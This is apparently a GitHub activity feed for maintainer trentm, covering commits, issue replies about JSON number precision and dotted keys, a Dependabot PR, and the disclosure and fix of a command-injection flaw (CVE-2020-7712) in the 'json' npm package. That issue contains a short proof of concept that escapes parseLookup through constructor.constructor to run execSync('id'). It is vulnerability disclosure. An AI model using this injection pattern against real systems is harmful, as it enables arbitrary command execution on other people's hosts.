Currently it doesn't :)

closed time in 4 days

mcavage

issue commenttrentm/cutarelease

make "cutarelease" work for "1.0.0-rc2" version string

This repo is in maint mode. I'm not going to do new work.

mcavage

comment created time in 4 days

startedtonsky/AnyBar

started time in 4 days

push eventtrentm/node-ldapauth

Trent Mick

commit sha 8b3ccabd8c9dee2e1def510ba397d4cefc835b9f

unmaintained notice

view details

push time in 4 days

push eventtrentm/django-markdown-deux

Trent Mick

commit sha f859993725902c7562fa57f03890fb3c98cc7b4c

unmaintained notice

view details

push time in 4 days

push eventtrentm/cmdln

Trent Mick

commit sha e3cb9b26f3b5427b3f545e3ae34ee22bac36f31d

note that this repo is unmaintained

view details

push time in 4 days

push eventtrentm/node-tabula

Trent Mick

commit sha 34648ec48cc93270ef9f51f91b24f5853836753f

add a TODO file

view details

push time in 5 days

push eventtrentm/trentm.github.com

Trent Mick

commit sha e0b9f3e0d9669030b788473e2b47821e3108f88e

Drop disqus integration. This loses a few dozen comments, but is less of a load and privacy burden.

view details

push time in 5 days

push eventtrentm/trentm.github.com

Trent Mick

commit sha 9f018af71e856162b8bd93926d076fdd0e5e3431

update for using modern jekyll

view details

Trent Mick

commit sha fb3b92f3557245ac9e67e9f56988ba0fc137e1d4

self-host google font I use for a bit more privacy

view details

Trent Mick

commit sha 75fbb483f89e1ec69316c83651ced944def5f33b

missing part of change for self-hosting google font

view details

push time in 5 days

startedmajodev/google-webfonts-helper

started time in 5 days

created tagtrentm/beginplay1

tag0.0.1

Begin app

created time in a month

release trentm/beginplay1

0.0.1

released time in a month

push eventtrentm/beginplay1

Trent Mick

commit sha 8f6ac9365b9523c91ec97b056be995bdbddf7a85

make a change

view details

push time in a month

push eventtrentm/beginplay1

Begin

commit sha 51b940ef72311489197be464cb0880b9c28e2b85

ci: so it Begins!

view details

push time in a month

create barnchtrentm/beginplay1

branch : master

created branch time in a month

created repositorytrentm/beginplay1

Begin app

created time in a month

issue closedtrentm/json

fix bug json

-> % echo '{"id":1234567890123456789012,"name":"edwin"}' | json
{
  "id": 1.2345678901234568e+21,
  "name": "edwin"
}

why? 1234567890123456789012 -> 1.2345678901234568e+21

var VERSION = '9.0.6';

closed time in a month

why168

issue commenttrentm/json

fix bug json

Working with integers greater than 2**53 -1 is fraught. JS has a Number.MAX_SAFE_INTEGER above which precision is lost.

> 1234567890123456789012 > Number.MAX_SAFE_INTEGER
true

At or above 1e21, JS represents numbers with scientific notation:

> 1e20
100000000000000000000
> 1e21
1e+21

If you need to keep precision for integers above MAX_SAFE_INTEGER, you should use BigInt if you can. Unfortunately, BigInt doesn't serialize to JSON:

> obj = {"id":1234567890123456789012n,"name":"edwin"}
{ id: 1234567890123456789012n, name: 'edwin' }
> JSON.stringify(obj)
Thrown:
TypeError: Do not know how to serialize a BigInt
    at JSON.stringify (<anonymous>)

See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt#Use_within_JSON

why168

comment created time in a month

issue closedtrentm/json

Cannot set a value for a key with a period

echo '{"foo.bar": 42}' | npx json -e 'foo.bar="baz"'

ReferenceError: foo is not defined

echo '{"foo.bar": 42}' | npx json -e 'foo\\.bar="baz"'

Invalid or unexpected token

echo '{"foo.bar": 42}' | npx json -e '["foo.bar"]="baz"'

Invalid destructuring assignment target

closed time in a month

andymartinwork

issue commenttrentm/json

Cannot set a value for a key with a period

@andymartinwork You'll need to do something like this:

% echo '{"foo.bar": 42}' | npx json -e 'this["foo.bar"]="baz"'
{
  "foo.bar": "baz"
}
andymartinwork

comment created time in a month

push eventtrentm/json

Trent Mick

commit sha 27e1ad734dafcc2dbfc8dd60fac2d15ee1e57c44

update devDeps to latest version; regen 'json_parse' with latest uglify-js version (tests still pass)

view details

push time in a month

PR closed trentm/json

Bump semver from 1.1.0 to 6.3.0 dependencies

⚠️ Dependabot is rebasing this PR ⚠️

If you make any changes to it yourself then they will take precedence over the rebase.


Bumps semver from 1.1.0 to 6.3.0. <details> <summary>Changelog</summary>

Sourced from semver's changelog.

6.3.0

  • Expose the token enum on the exports

6.2.0

  • Coerce numbers to strings when passed to semver.coerce()
  • Add rtl option to coerce from right to left

6.1.3

  • Handle X-ranges properly in includePrerelease mode

6.1.2

  • Do not throw when testing invalid version strings

6.1.1

  • Add options support for semver.coerce()
  • Handle undefined version passed to Range.test

6.1.0

  • Add semver.compareBuild function
  • Support * in semver.intersects

6.0

  • Fix intersects logic.

    This is technically a bug fix, but since it is also a change to behavior that may require users updating their code, it is marked as a major version increment.

5.7

  • Add minVersion method

5.6

  • Move boolean loose param to an options object, with backwards-compatibility protection.
  • Add ability to opt out of special prerelease version handling with the includePrerelease option flag.

5.5

  • Add version coercion capabilities

</tr></table> ... (truncated) </details> <details> <summary>Commits</summary>

  • 0eeceec 6.3.0
  • 2779d96 Expose the token enum on the exports
  • 9f5f615 changelog
  • ce6190e 6.2.0
  • 24af461 Add test coverage for bin file
  • 388ec1c Add rtl option to coerce from right to left
  • d062593 coerce(number) will coerce to a string
  • 3dc88f3 6.1.3
  • c44e124 Handle X ranges properly in includePrelease mode
  • ba19e8f Add a -0 prerelease on >X and <X ranges
  • Additional commits viewable in compare view </details> <br />

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


<details> <summary>Dependabot commands and options</summary> <br />

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot merge will merge this PR after your CI passes on it
  • @dependabot squash and merge will squash and merge this PR after your CI passes on it
  • @dependabot cancel merge will cancel a previously requested merge and block automerging
  • @dependabot reopen will reopen this PR if it is closed
  • @dependabot ignore this [patch|minor|major] version will close this PR and stop Dependabot creating any more for this minor/major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
  • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
  • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
  • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
  • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

You can disable automated security fix PRs for this repo from the Security Alerts page.

</details>

+1 -1

1 comment

1 changed file

dependabot[bot]

pr closed time in a month

pull request commenttrentm/json

Bump semver from 1.1.0 to 6.3.0

I did this manually.

dependabot[bot]

comment created time in a month

push eventtrentm/json

Trent Mick

commit sha ffeaab40572be397d26c011cdc755f080a72d9dd

bump semver (#137) and fix tools/perf.js

view details

push time in a month

issue commenttrentm/json

Command Injection

json@10.0.0 is published to npm, and a "10.0.0" git tag added.

Thanks for the report!

po6ix

comment created time in a month

created tagtrentm/json

tag10.0.0

A "json" command for massaging JSON on your Unix command line.

created time in a month

delete branch trentm/json

delete branch : fix-144

delete time in a month

push eventtrentm/json

Trent Mick

commit sha cc4798169f9e0f181f8aa61905b88479badcd483

BREAKING CHANGE: limit syntax for bracketed lookup strings to fix vuln (#145) This restricts the supported syntax for *bracketed* parts of lookup strings to avoid the need to *eval* that string. The eval is a security vulnerability that allows command injection. CVE-2020-7712 Fixes #144

view details

push time in a month

PR merged trentm/json

BREAKING CHANGE: limit syntax for bracketed lookup strings to fix vuln

This restricts the supported syntax for bracketed parts of lookup strings to avoid the need to eval that string. The eval is a security vulnerability that allows command injection.

Fixes #144

+160 -38

0 comment

10 changed files

trentm

pr closed time in a month

issue closedtrentm/json

Command Injection

POC

const json = require('json');

res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]:1}');
console.log(res);

closed time in a month

po6ix
more